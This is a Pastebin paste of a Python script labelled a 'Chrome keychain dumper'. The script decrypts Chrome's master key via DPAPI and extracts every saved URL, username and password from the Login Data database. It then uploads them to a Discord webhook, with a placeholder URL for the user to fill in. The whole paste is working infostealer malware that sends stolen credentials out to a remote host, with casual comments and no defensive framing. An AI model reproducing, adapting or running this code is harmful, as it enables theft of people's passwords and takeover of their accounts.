YaBoiSwayZ

Chrome keychain dumper (WIP)

Jul 26th, 2023 (edited)
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.21 KB | Source Code | 0 0
  1. import os
  2. import json
  3. import base64
  4. import sqlite3
  5. import win32crypt
  6. from Crypto.Cipher import AES
  7. import shutil
  8. import requests
  9.  
  10. # Define the name of the temporary database where the Chrome login data will be stored
  11. temp_db = "Loginvault.db"
  12.  
  13. # Pull the master encryption key from chrome's local state file
  14. def get_master_key():
  15.     # Define the path to the Local State file
  16.     local_state_path = os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\Local State'
  17.  
  18.     # Check if the Local State file exists (if it doesn't then wtf)
  19.     if not os.path.exists(local_state_path):
  20.         print("The 'Local State' file does not exist.")
  21.         return None
  22.  
  23.     try:
  24.         # Try open and read the Local State file (where the master key is stored)
  25.         with open(local_state_path, "r", encoding='utf-8') as f:
  26.             local_state = f.read()
  27.             local_state = json.loads(local_state)
  28.  
  29.         # Extract the master key, decode it, remove the DPAPI prefix than decrypt it using DPAPI (the biggest f you I've ever seen)
  30.         master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
  31.         master_key = master_key[5:]
  32.         master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
  33.  
  34.         return master_key
  35.     except (IOError, KeyError, ValueError) as e:
  36.         # If any error occurs during the process, print the error and return None
  37.         print(f"An error occurred while getting the master key: {e}")
  38.         return None
  39.  
  40. # Decrypt payload with cipher
  41. def decrypt_payload(cipher, payload):
  42.     try:
  43.         return cipher.decrypt(payload)
  44.     except Exception as e:
  45.         print(f"An error occurred while decrypting the payload: {e}")
  46.         return None
  47.  
  48. # Generate a new AES cipher for decryption
  49. def generate_cipher(aes_key, iv):
  50.     try:
  51.         return AES.new(aes_key, AES.MODE_GCM, iv)
  52.     except ValueError as e:
  53.         print(f"An error occurred while generating the cipher: {e}")
  54.         return None
  55.  
  56. # Decrypt the password using the master key
  57. def decrypt_password(buff, master_key):
  58.     try:
  59.         # Get the initialization vector and payload from the buffer
  60.         iv = buff[3:15]
  61.         payload = buff[15:]
  62.  
  63.         # Generate a new AES cipher using the master key and IV and decrypt the password
  64.         cipher = generate_cipher(master_key, iv)
  65.         if cipher:
  66.             decrypted_pass = decrypt_payload(cipher, payload)
  67.             if decrypted_pass:
  68.                 # Decode the decrypted password and remove the padding
  69.                 decrypted_pass = decrypted_pass[:-16].decode()
  70.                 return decrypted_pass
  71.             else:
  72.                 return "Failed to decrypt password"
  73.         else:
  74.             return "Failed to generate cipher"
  75.     except Exception as e:
  76.         print(f"An error occurred while decrypting the password: {e}")
  77.         return "Decryption failed"
  78.  
  79. # Pull all saved login credentials from chrome
  80. def retrieve_chrome_passwords(temp_db_file, master_key):
  81.     decrypted_info = []
  82.  
  83.     # Check if the temporary database file exists
  84.     if not os.path.exists(temp_db_file):
  85.         print("The temporary database file does not exist.")
  86.         return decrypted_info
  87.  
  88.     try:
  89.         # Connect to the chrome login data SQLite database and pull all saved login credentials
  90.         conn = sqlite3.connect(temp_db_file)
  91.         cursor = conn.cursor()
  92.         cursor.execute("SELECT action_url, username_value, password_value FROM logins")
  93.         for r in cursor.fetchall():
  94.             url = r[0]
  95.             username = r[1]
  96.             encrypted_password = r[2]
  97.             decrypted_password = decrypt_password(encrypted_password, master_key)
  98.             decrypted_info.append((url, username, decrypted_password))
  99.         cursor.close()
  100.         conn.close()
  101.     except sqlite3.Error as e:
  102.         print(f"An error occurred while retrieving the Chrome passwords: {e}")
  103.  
  104.     # Delete the temporary database file
  105.     try:
  106.         os.remove(temp_db_file)
  107.     except Exception as e:
  108.         print(f"An error occurred while deleting the temporary database file: {e}")
  109.  
  110.     return decrypted_info
  111.  
  112. # Yeet the data to a discord webhook
  113. def send_to_discord_webhook(data, webhook_url):
  114.     try:
  115.         # Prepare the HTTP headers and payload for the POST request (not sure if i need more accept header)
  116.         headers = {'Content-Type': 'application/json'}
  117.         payload = {'content': data}
  118.  
  119.         # Send a POST request to the Discord Webhook with the decrypted data
  120.         response = requests.post(webhook_url, json=payload, headers=headers)
  121.  
  122.         # Check the HTTP status code of the response
  123.         if response.status_code == 204:
  124.             print("Decrypted information uploaded to Discord successfully!")
  125.         else:
  126.             print("Failed to upload decrypted information to Discord.")
  127.     except Exception as e:
  128.         print(f"An error occurred while sending data to the Discord Webhook: {e}")
  129.  
  130. # Main function
  131. if __name__ == '__main__':
  132.     # Get the master key
  133.     master_key = get_master_key()
  134.     if not master_key:
  135.         exit(1)
  136.  
  137.     # Define the path to the Chrome login data SQLite database and check if it exists
  138.     login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data'
  139.     if not os.path.exists(login_db):
  140.         print("The Chrome login data SQLite database does not exist.")
  141.         exit(1)
  142.  
  143.     # Copy the Chrome login data SQLite database to a temporary database file
  144.     shutil.copy2(login_db, temp_db)
  145.  
  146.     # Retrieve all saved login credentials from Chrome
  147.     decrypted_info = retrieve_chrome_passwords(temp_db, master_key)
  148.  
  149.     # Define the Discord Webhook URL (replace with your own obviously)
  150.     webhook_url = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
  151.  
  152.     # Prepare the data to be sent to the Discord Webhook
  153.     data_to_upload = ""
  154.     for entry in decrypted_info:
  155.         url, username, decrypted_password = entry
  156.         data_to_upload += f"URL: {url}\nUser Name: {username}\nPassword: {decrypted_password}\n{'*' * 50}\n"
  157.  
  158.     # Send the decrypted data to the Discord Webhook
  159.     send_to_discord_webhook(data_to_upload, webhook_url)
Add Comment
Please, Sign In to add comment